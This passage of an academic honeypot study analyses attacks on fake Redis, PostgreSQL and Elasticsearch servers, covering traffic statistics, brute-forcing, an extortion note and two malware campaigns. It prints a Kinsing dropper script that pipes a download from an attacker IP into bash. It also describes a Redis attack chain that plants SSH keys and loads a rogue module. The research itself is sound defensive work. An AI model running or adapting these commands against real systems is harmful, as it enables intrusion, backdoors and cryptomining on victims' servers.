Table 5.3: Distribution of actions to DBMS on telescope

So far key observations from our temporal analysis include:
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Figure 5.3: Qeeqbox Honeypots: Temporal distribution of actions categorized by DBMS from December 1st, 2023, to December
11th, 2023

Figure 5.4: Temporal distribution of scans observed on telescope from December 1st, 2023, to December 11th, 2023

• Non-uniform spikes in activity indicate varying levels of engagement over time.

• A small number of IPs contribute to the majority of action traffic, suggesting targeted activity.

• Certain DBMS are notably more frequently accessed compared to others.

These observations form a coherent story as we delve into the logs during the spikes in action activity.
Specifically, it becomes evident that a handful of IPs are executing brute-force attacks against the hon-
eypots. Typically, the logs exhibit a pattern, where a connection is followed by a login attempt every
second. This pattern is inherent to how the honeypot logs login attempts. Initially, it records the estab-
lishment of a connection, followed promptly by the login attempt itself. As a result, each login attempt
comprises two distinct actions: a connection and a subsequent login. This also explains the exagger-
ated spikes of activity in figure 5.1. Aside from brute-force attackers there are also scanners that are
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solely engaged in establishing connections without subsequent login attempts. Take, for instance, the
IP address 58.211.125.146, which generated 416 connections and 0 other actions to the honeypots,
surpassing all others in connections traffic only. This IP corresponds to the Chinanet Backbone, a
component of China’s national internet infrastructure. Whether these connections represent instances
of IP spoofing or genuine scanning activity originating from the backbone remains unknown.

We’ll delve into a detailed examination of the brute-force attack later in a case study within this subsec-
tion. For now, we shift our focus to other adversarial behaviors highlighted by the data. For example
our data revealed that the honeypot deployed on the USA server recorded 250, 824 actions, while the
one on the Taiwanese server logged 298, 698 actions, constituting 45.64% and 54.36% respectively of
the total traffic. This represents a near 10% difference in traffic between the two geographic locations.
However, given the size of the dataset, it is inconclusive whether adversaries exhibit a preference for
one geographical location over the other. However, this would be an interesting topic to research for a
future work.

Upon reviewing the geographical distribution of IP data, we observed traffic originating from 42 dif-
ferent countries across various continents worldwide. We noted the absence of traffic from Oceania
and Antarctica. The former could be attributed to geographical isolation, while the latter is likely due
to the sparse population in Antarctica, making it an unlikely source of network activity. However table
5.4 highlights the skew in traffic volume originating from Russia, France, and China. This is the re-
sult because most of the brute-force attack traffic originates from these three countries. Despite their
large traffic volumes, Russia and France exhibit relatively low counts of unique IPs. Conversely, China
stands out with a considerable number of unique IPs, suggesting a more diversified source of traffic
alongside its high volume.

Figure 5.5: Qeeqbox Honeypots: Geographical distribution of the observed traffic sorted by country of origin.

We will continue with a case study of the brute-force attacks. We classified any login attempt as a
potential brute-force attack and proceeded to identify these IPs using the Greynoise API for Multi-IP
Context analysis. The classification results are detailed in table 5.5. In the context of this table, “no
data” implies that Greynoise has no prior record of the IP. “Unknown” indicates that Greynoise couldn’t
ascertain whether the IP is malicious or benign. “Benign” identifies IPs associated with recognized
benign services and organizations verified by the Greynoise team. It’s important to note that Greynoise
recognizes that benign IPs can still engage in harmful actions [44]. ”Malicious” denotes IPs flagged by
Greynoise as known malicious actors due to past malicious activities.
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Country # Actions % of Total Actions # IPs
Russia 329,640 59.99% 12
France 114,869 20.90% 5
China 67,786 12.34% 551
United States 7,532 1.37% 359
Vietnam 6,413 1.17% 6
Pakistan 6,268 1.14% 3
Sri Lanka 6,259 1.14% 1
Brazil 6,253 1.14%% 5
Hong Kong 550 0.10% 25
India 520 0.09% 19%
Other 3,432 0.62% 218

Table 5.4: Qeeqbox Honeypots: Top 10 countries by the amount of actions and their corresponding amount of IPs

A considerable number of IPs fall under the ”benign” category, which is surprising. These “benign”
IPs also conducted only a small number of actions which may have to do with their research nature.
The fact that they attempted to login, often considered a form of hacking by many legal systems, is
unexpected to us despite Greynoise acknowledging this possibility in their classification. While it’s
plausible they were engaged in ethical hacking, the absence of any communication in the form of a
notification raises suspicions. Among these benign IPs, we encountered familiar names like Censys
[21], along with other companies seemingly dedicated to cybersecurity. However, further investigation
revealed a lack of online presence beyond their registration in government business records, hinting at
potential virtual business addresses, which raises suspicion. Equally surprising is the minimal activity
recorded for IPs identified as malicious. With the bulk of the actions originate from IPs categorized as
”unknown” or having ”no data,” suggesting that automated brute-force attacks predominantly originate
from potentially unrecognized sources in threat intelligence databases.

Classification # IPs # Actions # Login attempts
No data 44 348859 174348
Unknown 75 194993 97460
Benign 54 409 110
Malicious 81 2015 958

Table 5.5: Qeeqbox Honeypots: Greynoise classification of brute-forcers

Upon examining the IP addresses classified as “No data” and ”Unknown”, it becomes evident that the
majority of them originate from a range of cloud service providers, such as OVHcloud, Akamai Con-
nected Cloud, Google Cloud Platform, Digital Ocean and XHOST INTERNET SOLUTIONS LP. Others
include ISP’s and cellular service providers. However, an unexpected inclusion was the Chinanet back-
bone, an entity not typically associated with login attempts. For cloud service providers IP addresses
may be recycled, which can lead to different security vulnerabilities such as cloud squatting [71], which
adds additional complexity to tracking activities of adversaries. Additionally, adversaries have the ca-
pability to alter the IP addresses associated with their machines that run these scripts. For instance,
when an EC2 instance on AWS is stopped, hibernated, or terminated, its public IP address is released
and a new one is assigned when it is started[6]. This introduces an additional layer of complexity to
monitoring their actions, highlighting the necessity for intervention by the parent company. However,
even if the parent company takes action adversaries can circumvent this by creating new accounts and
running their malicious scripts once more.

A closer examination of the top 6 IPs fromTable 5.2 highlights an interesting observation: only 51.254.78.36
is associated with OVHcloud, one of the largest hosting providers globally. In contrast, the remaining
five IPs all trace back to XHOST INTERNET SOLUTIONS LP.

Doubt arises as some of these cloud service providers lacked basic security features on their web-
sites such as HTTPS support, raising doubts about their legitimacy. Upon closer inspection, a few
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websites exhibit signs of being fake, such as lacking depth beyond a basic landing page. For instance,
sign-up options may lead only to a contact form, with no additional pages or functionalities. This lack
of substance adds to the suspicion surrounding these services and highlights the need for further in-
vestigation to verify their authenticity in a future study.

We generated word clouds to visualize the most common usernames and passwords involved in all
272, 876 brute-force attempts, depicted in figure 5.6. In these word clouds, the size of each word
corresponds to its frequency in the dataset. Due to the sheer amount of username and password com-
binations, a lot of entries may not be visible within the word cloud. On closer examination, we notice
several default usernames such as “sa” and “admin”, but also common names and potentially leaked
credentials from past data breaches. The password word cloud reveals a prevalence of hashed pass-
words, however the honeypot does not hash passwords. This again indicates the potential usage of
leaked credentials.

(a) Word cloud of usernames (b) Word cloud of passwords

Figure 5.6: Qeeqbox Honeypots: Word clouds of usernames and passwords

From the preliminary study of the logs from Qeeqbox Honeypots, we’ve ascertained its capability in
collecting network traffic data for pattern analysis. Our temporal analysis revealed a gradual increase
in traffic, starting from an initially undetected state to becoming targeted by brute-force attacks. Addi-
tionally, we’ve identified various patterns of adversarial behavior, such as the preference for specific
DBMS. While we gained insights into the geographic distribution of attacks, we cannot definitively at-
tribute these nations to the origin of the adversaries. Because brute-force attackers often rely on cloud
service providers, allowing them to effectively mask their origins by choosing the location of their host
and are able to change their IP addresses with ease. We hypothesize that this enables adversaries
evade detection from to threat intelligence services like Greynoise. Nevertheless, the logs from this
honeypot has provided us with valuable insights, and threat actor intelligence which can be utilized to
alert cloud service providers about those that abuse their services.

5.1.2. RedisHoneyPot
The primary aim of analyzing the medium interaction honeypots is to shed light on adversarial actions
post-access. Hence, less emphasis is placed on temporal analysis compared to the previous subsec-
tion, though a general overview is still provided.

Figure 5.7 displays the hourly distribution of actions throughout the experiment’s duration, with peaks
indicating periods of heightened activity, but also showcases periods of inactivity. Clearly the attacks
are not uniform or continuous.

The overall level of adversarial activity appears significantly lower compared to the Qeeqbox Hon-
eypots, as depicted in figure 5.1. This is logical as we consider the context: while Qeeqbox Honeypots
ran five different honeypots, this is only a singular instance of Redis with a different logging method.
Moreover, the absence of an IAM excludes brute-force attempts, contributing to the observed differ-
ences in activity levels.

Examination of Redis activity unveils varying levels of engagement from adversaries over the same
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time frame. The RedisHoneyPot logged 398 unique IPs contrasting with the 774 unique IPs logged
by the Redis honeypot in Qeeqbox Honeypots. This disparity could be attributed to the broader scope
of the other honeypot, which attracted greater overall traffic and consequently a higher number of IPs
scanning for Redis.

Figure 5.7: RedisHoneyPot: Temporal distribution of actions observed from December 1st, 2023, to December 11th, 2023

The actions depicted in figure 5.7 encompass connections, disconnections, queries and more, thus
cannot be representative of a single adversarial interaction (a series of actions) on the honeypot. It
could signify either one adversary engaging in numerous activities or multiple adversaries conducting
few activities. Figure 5.8 reveals that the observed unique IPs consistently fall within a similar low
range over time. Consequently, outlier peaks such as the one on December 6th should originate from
prolonged activity initiated by a single IP.

Table 5.6 supports this hypothesis by illustrating that while the majority of the traffic isn’t generated
by a few IPs, as observed in the case of the Qeeqbox Honeypots in table 5.1, a substantial number of
IPs still execute numerous actions. Furthermore, it’s noteworthy that several IPs exhibit comparable
action counts, suggesting a potential correlation in the actions they undertook.
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Figure 5.8: RedisHoneyPot: Temporal distribution of unique IPs observed from December 1st, 2023, to December 11th, 2023

Source IP # Actions % of Total Actions
47.120.1.128 190 7.05%
118.195.238.199 111 4.12%
47.117.112.15 35 1.30%
119.96.80.20 34 1.26%
36.110.27.181 31 1.15%
8.217.10.57 30 1.11%
8.142.101.189 30 1.11%
49.73.43.100 30 1.11%
47.113.227.22 30 1.11%
47.102.120.165 30 1.11%
Other 2,144 79.55%

Table 5.6: RedisHoneyPot: List of the top 10 source IPs with the highest number of actions and their percentage of overall
actions

Before delving into the analysis of adversarial actions, let’s first examine the geographical distribution
of the observed traffic, as depicted in figure 5.9. Once again, we observe a consistent traffic pattern
worldwide, reminiscent of figure 5.5, with the notable exception of Oceania and Antarctica. With a total
of 22 different nations represented, table 5.7 highlights that the majority of the traffic originates from
China and the US.

Delving into the adversarial actions mentioned before. We know that each instance of interaction
from an adversary initiates with a NewConnect and concludes with a Closed in the logs. Leveraging this
knowledge, we can categorize an instance of interaction from a singular adversarial IP as starting with
connection establishment and encompassing everything until closure. This categorization reduces the
total number of actions from 2695 to 630 interactions, spread across 398 unique IPs, resulting in an
average interaction length of 7 actions.

Further analysis reveals that these interactions, on average, last less than a single second. This sug-
gests that they are likely generated by automated scripts. We observe that around the 75th percentile
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Figure 5.9: RedisHoneyPot: Geographical distribution of the observed traffic sorted by country of origin.

Country # Actions % of Total Actions # IPs
China 1867 69.28% 257
United States 393 14.58% 85
South Korea 99 3.67% 6
Hong Kong 78 2.89% 10
Singapore 69 2.56% 9
Indonesia 48 1.78% 4
Japan 33 1.22% 2
Germany 21 0.78% 4
United Kingdom 15 0.56% 3
The Netherlands 9 0.33% 3
Other 63 2.34% 15

Table 5.7: RedisHoneyPot: Top 10 countries by the amount of actions and their corresponding amount of IPs

the average action duration extends to 1 second which is still remarkably fast. And at the 99th per-
centile we see the emergence of longer interactions reaching up to 47 seconds.

Another significant observation is that on average a single IP only interacts with the honeypot once. At
the 75th percentile this number increases to 2, and at the 99th percentile it jumps to 7. This highlights
that the vast majority of IPs engage with the honeypot only once or twice.

Table 5.8 shows the classification of all IP addresses that have interacted with the honeypot byGreynoise.
Themajority of IP addresses and associated traffic stem from the classifications “no data” and “uknown”.
This is followed by IPs categorized as “malicious”, with those classified as “benign” constituting the
smallest portion of actions.

Investigation into these “benign” IPs revealed that the majority did not engage in overtly malicious
activities. However, some of them executed actions that appeared malformed in the logs, making it
challenging to determine their intent. Additionally, we encountered an instance of a benign IP request-
ing a list of clients connected to the database, which may have been a probe.

Closer examination of the logs reveals that 65 IPs were associated with actions deemed genuinely
malicious in that they attempt to sabotage the database. These actions exclude activity such as con-
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nection attempts and PING requests, but involve attempts to execute FLUSHALL commands, uploading
of malware, and other database manipulation attempts. Most of this traffic originates from cloud service
providers located in China.

Classification # IPs # Actions
No data 119 946
Unknown 176 1135
Benign 49 206
Malicious 54 408

Table 5.8: RedisHoneyPot: Greynoise classification of IPs

Let’s delve into a case study analyzing a particular instance of an attempt at malware execution. The
code of which is presented in code listing 5.1. We added explanation to each action for clarity. Coinci-
dentally the length of this attack matches that of IPs which performed 30 actions as observed in table
5.6. Upon inspecting the actions logged from those IPs, we indeed observe this very same attack. This
attack poses a severe threat to the Redis database, as it wipes out the entire database (lines 3 and 10)
and establishes a SSH backdoor (line 11).

The malware itself is injected and executed through lines 4 and 26. We utilized a controlled testing envi-
ronment to downloading themalware involved in this attack, obtaining itsMD5 hash: e1d59430a388f456d21bf47159e88d76.
The program is identified as an ELF 64-bit LSB executable, x86-64 architecture, with a size of 2.27MB.
Because conducting a deeper analysis of themalware through reverse engineering is beyond the scope
of this study, we attempted to gather insights from online resources.

According to community testing on VirusTotal [85], the malware appears to be associated with the
worm known as P2P Infect. P2P Infect is a peer-to-peer (P2P) worm capable of cross-platform in-
fections and specifically targets Redis instances vulnerable to the Lua sandbox escape vulnerability,
CVE-2022-0543 [40]. This vulnerability, rated at a top score of 10.0 by the NIST National Vulnerabil-
ity Database, allows unauthorized access to the affected system [68]. We also noted that this Redis
vulnerability had already been patched, which stresses the importance of regular software updates.

1 NewConnect: Connects to the honeypot.
2 info server: Gathering information about the Redis server.
3 FLUSHDB: Clearing all data from the Redis database.
4 ‘‘set x...”: Setting a key x with a script. Which checks if a process named ”AhPA3X9Api”

is running using the Linux ‘‘ps” command. And if the process is not running, the script
connects to ‘‘39.105.38.64” on port 60111 using /dev/tcp, sends a HTTP GET request for
the resource ‘‘/linux”, and redirects the response to a file named ”AhPA3X9Api” in the /
tmp directory. Finally the script sets execute permissions for the file /tmp/AhPA3X9Api,
then executes it, passing a long string as an argument to the script.

5 config set rdbcompression no: Disabling RDB compression.
6 save: Triggering a manual save of the Redis database.
7 config set dir .: Resetting the Redis directory to the default.
8 config set dbfilename dump.rdb: Setting the database filename.
9 config set rdbcompression yes: Enabling RDB compression.
10 FLUSHDB: Clearing all data from the Redis database again.
11 ‘‘set x...”: Setting key x with a SSH RSA public key.
12 config set dir /root/.ssh/: Changing the Redis directory to /root/.ssh/.
13 config set dbfilename authorized_keys: Setting the database filename to authorized_keys.
14 config set rdbcompression no: Disabling RDB compression.
15 save: Triggering another manual save of the Redis database.
16 config set dir .: Resetting the Redis directory to the default.
17 config set dbfilename dump.rdb: Setting the database filename.
18 config set rdbcompression yes: Enabling RDB compression.
19 CONFIG SET dir /tmp/: Changing the Redis directory to /tmp/.
20 CONFIG SET dbfilename exp.so: Setting the database filename to exp.so.
21 SLAVEOF 39.105.38.64 60111: Setting the Redis server as a slave of another server.
22 MODULE LOAD /tmp/exp.so: Loading a module named exp.so from /tmp/.
23 SLAVEOF NO ONE: Removing the slave status.
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24 config set dir .: Resetting the Redis directory to the default.
25 config set dbfilename dump.rdb: Setting the database filename.
26 ‘‘system.exec...”: Executing a system command that performs the same actions as the

script in line 4.
27 SLAVEOF NO ONE: Ensuring no slave status is set.
28 ‘‘system.exec...”: Removes the file exp.so from /tmp/.
29 MODULE UNLOAD system: Unloading the system module.
30 Closed: Disconnects from the honeypot.

Listing 5.1: Commands attempting to infect Redis with the P2P infect worm. The malware is injected and executed in lines 4
and 26.

Another intriguing case study involves the command MGLNDD, an action not recognized by Redis. The
source IP, 192.241.229.34, is identified as belonging to a scanner known as Stretchoid. While Stretchoid
is advertised as for research purposes and the traffic it generates being “completely harmless” [80],
efforts to identify the organisation behind this service yielded no conclusive information. However,
Greynoise has flagged this IP as malicious and labelled it with tags such as SSH Brute-forcer, SSH
Worm, and ZMap Client. This highlights a significant observation: some adversaries may masquerade
as security researchers.

Through our analysis of the RedisHoneyPot logs, we’ve determined its capability to capture adver-
sarial actions post-access. Our temporal analysis revealed that while the activity isn’t high, it remains
active over time. We’ve identified that the majority of adversarial interactions with the honeypot stem
from automated scripts, evident from the brief duration of each interaction. Once again, we’ve no-
ticed that much of the malicious traffic originates from sources unrecognized by conventional threat
intelligence databases like Greynoise, often due to adversaries exploiting cloud service providers. Ad-
ditionally, our investigation uncovered instances of attempts to infect the honeypot with the P2Pinfect
worm, leveraging critical exploits. These vulnerabilities have since been patched on newer versions of
Redis, emphasizing the importance of keeping software up to date.

5.1.3. Sticky Elephant
We begin the analysis with figure 5.10 which illustrates the temporal distribution of actions recorded on
the honeypot over the duration of its operation, spanning from December 5th to December 11th 2023.
Upon initial inspection, an outlier is immediately noticeable, a massive spike in activity occurring a few
hours after the honeypot was deployed. The remaining activity appears low-intensity in nature, with
some periods of the day experiencing no traffic at all.

We want to stress again that the honeypots log differently, and therefore, direct comparisons of the
amount of actions between honeypots are not accurate. For this particular honeypot, an action can
encompass connections, requests, and the honeypot itself using its handler to process queries and
requests.

We observed a total of 101 unique IPs interacting with the honeypot over the duration of this experi-
ment. Examining figure 5.11, which displays the number of unique IPs active on the honeypot per hour,
we notice that there is no significant outlier indicating a large number of IPs active simultaneously. This
implies that the outlier observed in figure 5.10 is likely caused by a few IPs being very active. Delving
deeper into the statistics of the observed data, table 5.9 reveals that three IPs account for the majority
of the total actions recorded on the honeypot. Of these three, two of these IPs belong to the same
web service host. Upon inspection of the logs, it becomes clear that these IPs were responsible for
the significant spike in activity observed. Later in this subsection, we will conduct a more detailed case
study on this specific outlier.

The majority of IPs exhibit limited activity. The 25th percentile indicates that most IPs engage in around
4 actions, roughly corresponding to a connection and the subsequent handshake process which typ-
ically involves 3 actions. On average, IPs perform 7 actions, and at the 75th percentile, this number
increases to 15. Notably, these numbers at the lower quantiles are higher compared to those observed
in the RedisHoneyPot. However, it’s important to consider that the method used for logging may con-
tribute to this difference, such as recording multiple actions for a single handshake or SSL request.
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Figure 5.10: Sticky Elephant: Temporal distribution of actions to the honeypots from December 5st, 2023, to December 11th,
2023

Figure 5.11: Sticky Elephant: Temporal distribution of unique IPs observed from December 5st, 2023, to December 11th, 2023

From the logs we observed traffic originating from 16 different countries, as illustrated in figure 5.12.
Notably, the traffic predominantly emanates from the North-American, European, and Asian continents.
This indicates a less diverse origin of adversarial activity compared to the RedisHoneyPot. However,
we have to consider that this Sticky Elephant only operated for 5 days, which may have influenced this
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Source IP # Actions % of Total Actions
83.97.73.87 807 32.34
78.153.140.30 506 20.28
78.153.140.37 344 13.79
45.156.129.32 35 1.40
94.156.71.83 20 0.80
94.156.71.82 20 0.80
94.156.71.3 20 0.80
64.227.12.66 16 0.64
51.79.249.29 16 0.64
212.53.203.198 16 0.64
Other 695 27.86

Table 5.9: Sticky Elephant: List of the top 10 source IPs with the highest number of actions and their percentage of overall actions

observation. Table 5.10 reveals that the majority of the traffic originates from four nations. An intrigu-
ing observation is the significant difference in the ratio of actions to unique IPs between the US and
Bulgaria compared to the UK and Russia. This suggests that in the former many IPs interacted less
with the honeypot while in the latter a few IPs interacted more extensively with the honeypot.

Figure 5.12: Sticky Elephant: Geographical distribution of the observed traffic sorted by country of origin.

Table 5.11 presents Greynoise’s classifications of IPs encountered by the honeypot. A significant frac-
tion of the IPs was classified as “no data” or “unknown”, suggesting that malicious actors continue
to devise strategies to evade detection by established threat intelligence platforms. Among the IPs
categorized as “benign”, the majority engaged in activities such as establishing connections, request-
ing SSL connections and performing handshakes. However, the presence of malformed queries once
again presents a challenge in determining their intent. We hypothesize that theymay be associated with
secure protocols that the honeypot does not support. We also observed one IP classified as “benign”
attempting to fill in a password. Upon investigation, this IP was found listed as malicious on another
community platform called AbuseIPDB with many user reports [3].

IPs in other classifications demonstrated malicious behavior such as brute-force attempts. This is pe-
culiar considering the honeypot did not require user credentials for connection, suggesting automated
bot activity. However, it’s plausible that manual login attempts were included, given instances of adver-
saries utilizing public VPN services like Mullvad for a single login followed by immediate disconnection.
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Country # Actions % of Total Actions # IPs
United Kingdom 875 35.07% 6
Russia 809 32.42% 3
United States 421 16.87% 52
Bulgaria 170 6.81% 14
Portugal 38 1.52% 2
Belgium 35 1.40% 5
Germany 26 1.04% 2
China 20 0.80% 4
India 19 0.76% 4
The Netherlands 18 0.72% 3
Other 64 2.57% 6

Table 5.10: Sticky Elephant: Top 10 countries by the amount of actions and their corresponding amount of IPs

Other adversarial actions encompassed malware installation attempts and user privilege manipulation
which we will discuss later in the case study. To gain more insight into what the adversaries were doing

Classification # IPs # Actions
No data 18 965
Unknown 32 276
Benign 34 323
Malicious 17 931

Table 5.11: Sticky Elephant: Greynoise classification of IPs

we attempted to define an “interaction”, a series of actions from a singular IP that could be considered
as a single interaction. Currently, an interaction in the Sticky Elephant logs is considered as initiated
when the honeypot acknowledges a connection from a source IP and concludes either upon receiving
a quit command from the same source IP, or when no further actions are undertaken by the source
IP within 10 seconds from its last action, or when the IP initiates a new connection. However, this
approach is not without limitations. We observed instances where the same IP connected multiple
times to the honeypot using the same machine at the same time which makes it challenging to tell
the start and end of a single interaction. Nonetheless, aside from this edge case other classifications
of an interaction should remain accurate. Future research could explore creation additional criteria to
identify instances where a single IP initiates multiple connections simultaneously and detect when a
connection is broken off for the honeypot itself.

Upon implementing this interaction classification, we identified a total of 175 interactions. On aver-
age, these interactions lasted less than a second. The 75th percentile denotes an average duration of
one second, while the 99th percentile extends to 24 seconds. This implies that the majority of interac-
tions are likely automated script executions due to their exceedingly short duration. Furthermore, we
noted that both the average and 75th percentile values for interactions per distinct IP were one, but at
the 99th percentile, this figure rose to 19. These longer interactions appear to be the result of pauses
within the automatic scripts.

Now we will delve into the case study of the spike observed shortly after the startup of the honey-
pot in figure 5.11. While other interactions occurred during that hour, our focus will primarily be on the
two IPs that generated the majority of the traffic: 83.97.73.87 and 78.153.140.37.

The former IP originates from an IoT service provider based in Russia, Red Byte LLC. This IP was
involved in a brute-force attack, as well as performing empty queries and attempting to retrieve the
Postgres version. We observed a total of 72 login attempts in the brute-force attempt. Most of the
passwords comprised of plain numerical values, default passwords, and common words. The bulk of
this interaction occurred within 17 seconds, encompassing 756 actions. There were also 3 precursor
actions happening 8 minutes prior as a simple connection which we suspect to be part of a reconnais-
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sance action.

On the other hand, the latter IP seems to be associated with a company registered in the UK named
HOSTGLOBAL.PLUS LTD that provides server rental, hosting, domain registration, and SSL certifi-
cates. This IP primarily attempted to execute malware repeatedly using the same query command.
The command drops a specific table if it already exists; otherwise, it creates it by running a bash script
encoded in base64. We decoded this bash script, which is shown in code listing 5.2.

Upon closer examination, the bash script attempts to terminate three processes affiliated with the Prom-
etei botnet [101] in lines 2-4. While the motivation behind this action is unclear, it points towards an
attempt to disrupt the botnet’s operations. Additionally, the bash script contains a custom curl func-
tion script in lines 6-19, which is used when the bash script detects that neither curl [29] or wget [66]
commands (lines 21 and 23) are available on the system in order to download the malware from the IP
94.103.87.71.

For further investigation we used an isolated Linux container to curl the script. The SHA-256 of the
pg.sh shell script was found on Virustotal [93], and is linked to the the Kinsing malware [79]. This mal-
ware’s primary objective is to connect to command and control servers and download a cryptominer.
However, it also possesses capabilities for lateral movement within a network to further spread itself.

Apart from these malware execution attempts, we also observed this IP attempting to dump credentials
for the user ”postgres_superadmins” and revoke privileges for executing server-side programs on the
default ”postgres” user.

1 #!/bin/bash
2 pkill -f zsvc
3 pkill -f pdefenderd
4 pkill -f updatecheckerd
5

6 function __curl() {
7 read proto server path <<<$(echo ${1//// })
8 DOC=/${path// //}
9 HOST=${server//:*}
10 PORT=${server//*:}
11 [[ x”${HOST}” == x”${PORT}” ]] && PORT=80
12

13 exec 3<>/dev/tcp/${HOST}/$PORT
14 echo -en ”GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n” >&3
15 (while read line; do
16 [[ ”$line” == $’\r’ ]] && break
17 done && cat) <&3
18 exec 3>&-
19 }
20

21 if [ -x ”$(command -v curl)” ]; then
22 curl 94.103.87.71/pg.sh|bash
23 elif [ -x ”$(command -v wget)” ]; then
24 wget -q -O- 94.103.87.71/pg.sh|bash
25 else
26 __curl http://94.103.87.71/pg2.sh|bash
27 fi

Listing 5.2: Code of a malware execution attempt in Postgres. This bash script downloads the malware in lines 21-26.

From our analysis of the Sticky Elephant honeypot logs, we can conclude that this honeypot effectively
captures various adversarial actions targeting PostgreSQL databases. Through temporal analysis, we
observed consistent traffic from a diverse range of IPs on a daily basis. Notably, there was a spike in
activity shortly after the honeypot’s startup, indicating active scanning by adversaries seeking to exploit
PostgreSQL vulnerabilities. Our investigation uncovered a brute-force attempt on the honeypot, along
with efforts to execute malware. Specifically the Kinsing malware which aims to infect databases with
cryptocurrency miners. One of the IPs behind these actions belongs to an IoT service provider, sug-
gesting potential infection of their IoT devices or network. The other IP is associated with a web host-
ing provider, highlighting the need for a robust abuse notification framework to alert service providers
promptly and prevent such actions.
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5.1.4. Elasticpot
Figure 5.14 illustrates that Elasticpot encountered relatively low traffic over time. Over a period of 10
days, we only recorded a total of 353 actions from 150 different IPs. This rate can be attributed to the
nature of Elasticsearch, where interactions are typically consolidated into a single action using tools
like curl and json queries which eliminates the need for multiple connections, queries, and termination
actions. This highlights the importance of understanding the underlying architecture of each honeypot,
as direct comparisons based solely on action counts are not accurate.

Figure 5.13: Elasticpot: Temporal distribution of actions to the honeypots from December 1st, 2023, to December 11th, 2023

In the context where each “action” can represent multiple actions, such as both establishing a connec-
tion and executing a query, we can conclude that even small spikes indicate significantly heightened
engagement. Upon examining figure 5.14, depicting the number of unique IPs active each hour, we
observe a relatively stable range of 0 to 4 IPs per hour. This suggests that while some IPs interacted
frequently, leading to observed spikes, others engaged less frequently. For instance, the peak of 6
unique IPs on the 9th coincided with a lesser peak in actions compared to a few hours prior, attributed
to fewer IPs. Our analysis of the logs revealed that, on average, each IP interacts with the honeypot
only once. Moreover, at the 75th percentile, IPs engage in only three actions in total. This is further
evidenced in table 5.12 which shows that even the IPs with the highest activity engaged in relatively
few actions.

We identified a total of 17 different nations contributing to the geographical distribution of adversary
origin, as depicted in figure 5.15. Once again, the majority of the traffic originates from the continents
of North America, Europe, and Asia, which aligns with previous observations. However, it’s surprising
to see traffic originating from Australia, marking the first time we’ve observed activity from the Ocea-
nia region. Upon inspection in the logs it is revealed that this traffic originated from a Digital Ocean
droplet based in Australia. Implying that this adversary was leveraging cloud service providers services.

In table 5.13, we notice that the majority of traffic and IPs originate from the US and Belgium. While
the US consistently tops the list in terms of activity across various honeypots, the presence of Belgium
among the top of this list is unexpected. A closer look at the logs reveals that all of the Belgian IPs are
associated with Google Cloud Platform, the same cloud computing service provider utilized for hosting
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Figure 5.14: Elasticpot: Temporal distribution of unique IPs observed from December 1st, 2023, to December 11th, 2023

Source IP # Actions % of Total Actions
198.135.49.104 24 6.80%
198.135.49.44 16 4.53%
165.154.119.158 16 4.53%
103.187.190.61 10 2.83%
84.54.51.75 8 2.27%
172.233.57.47 8 2.27%
104.37.172.156 8 2.27%
185.22.173.69 7 1.98%
118.193.46.44 7 1.98%
77.72.83.88 6 1.70%
Other 243 68.84%

Table 5.12: Elasticpot: List of the top 10 source IPs with the highest number of actions and their percentage of overall actions

this experiment. Once again showcasing how adversaries leverage different cloud providers to obfus-
cate their true origins.

We analyzed the IPs using Greynoise and present the results in table 5.14. Greynoise successfully
classified the majority of the IPs as either “benign” or “malicious”. This also marks the first instance
where benign sources dominate in both the amount and volume of activity. These benign actors mostly
query for cluster, node, icons information, and using ipify.org to retrieve the honeypot’s IP address. We
did note a single instance of an IP querying for _cat/indices. Whether this is classified as malicious
depends on the individual database as indices can potentially expose sensitive information.

The IPs categorized under other classifications were predominantly engaged in information gathering
activities, such as retrieving the database URL name and examining aliases, among other queries.
However, we observed instances of malicious activity related to searches within the indices. Notable
queries included searches for documents containing the string “mail.ru,”, attempts to retrieve some or
all documents within the indices, and a highly specific query in Chinese with keywords associated with
banking services and major financial groups. This last instance was an IP utilizing a suspicious user-
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Figure 5.15: Elasticpot: Geographical distribution of the observed traffic sorted by country of origin.

Country # Actions % of Total Actions # IPs
United States 196 55.52% 97
Belgium 36 10.20% 13
The Netherlands 24 6.80% 4
Thailand 17 4.82% 2
Hong Kong 17 4.82% 7
India 15 4.25% 3
Russia 11 3.12% 4
China 11 3.12% 5
United Kingdom 6 1.70% 3
Germany 5 1.42% 2
Other 15 4.25% 10

Table 5.13: Elasticpot: Top 10 countries by the amount of actions and their corresponding amount of IPs

Classification # IPs # Actions
No data 25 108
Unknown 20 51
Benign 59 110
Malicious 46 84

Table 5.14: Elasticpot: Greynoise classification of IPs

agent associated with Android 6.0 for the Nexus 5 phone from 2013 which could have been a potential
manual intervention.

Another incident involved an IP posting a document to the server which claimed that the database
had been backed up in bad English, and demanding a payment of 0.01 BTC to a crypto wallet. How-
ever we did not observe the actual attack, as no related queries were found only this file upload with
a message payload. This crypto wallet had conducted transactions in the past, all of which were 0.01
BTC, which were likely from other victims of the attack. It seemed to be just one component of a broader
criminal campaign aimed at extorting money from users or organizations whose databases had been
backed up and wiped of all content. Through tracing these transactions we discovered millions of dol-
lars being moved around. However, the ultimate destination of this money remains a mystery as the
transactions were obfuscated using methods such as mixing and tumbling services. These services
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essentially anonymize transactions by combining multiple transactions into a single, complex transac-
tion, making it difficult to trace the original source and destination of funds. Further investigation into
this aspect could be pursued in future research.

This honeypot also captures the user-agent strings utilized by adversaries during interactions. These
were predominantly web browsers, but we also noted instances of the Python request library, GO HTTP
client library, curl, Elasticsearch clients, bots, and GitHub projects like Zgrab and estk. Zgrab is a scan-
ning tool, whereas estk has the capability to perform data backup for Elasticsearch databases. Actions
associated with the estk user-agent primarily revolved around retrieving documents within the indices.
This diverse range of tools highlights the adaptability of adversaries in employing various means to
accomplish their objectives.

We gained several insights from analyzing the Elasticpot logs. Temporal analysis reiterated the impor-
tance of understanding the architecture of each honeypot and the underlying operation of the DBMS
it aims to simulate. As this influences logging behavior, interpretation in analysis and prevents direct
comparisons to other logs. We once again noticed significant variations in adversarial activity per IP,
with some IPs engaging minimally and others extensively. Geographical analysis revealed traffic from
the Oceania, not seen before in other logs, which also showcased the usage of cloud service providers
by adversaries to obscure their origin. Greynoise intelligence showcased that the largest classifica-
tion of adversaries was from “benign” sources. Analysis of adversarial queries unveiled targeting of
specific strings such as “mail.ru” or those associated with banking services. We also encountered our
first data theft attack, though the honeypot’s limitations prevented full understanding of its execution.
The data theft attempt led to the discovery of a broader data theft campaign leveraging mixing and
tumbling techniques to obfuscate transactions in order to launder the money. Finally, through analysis
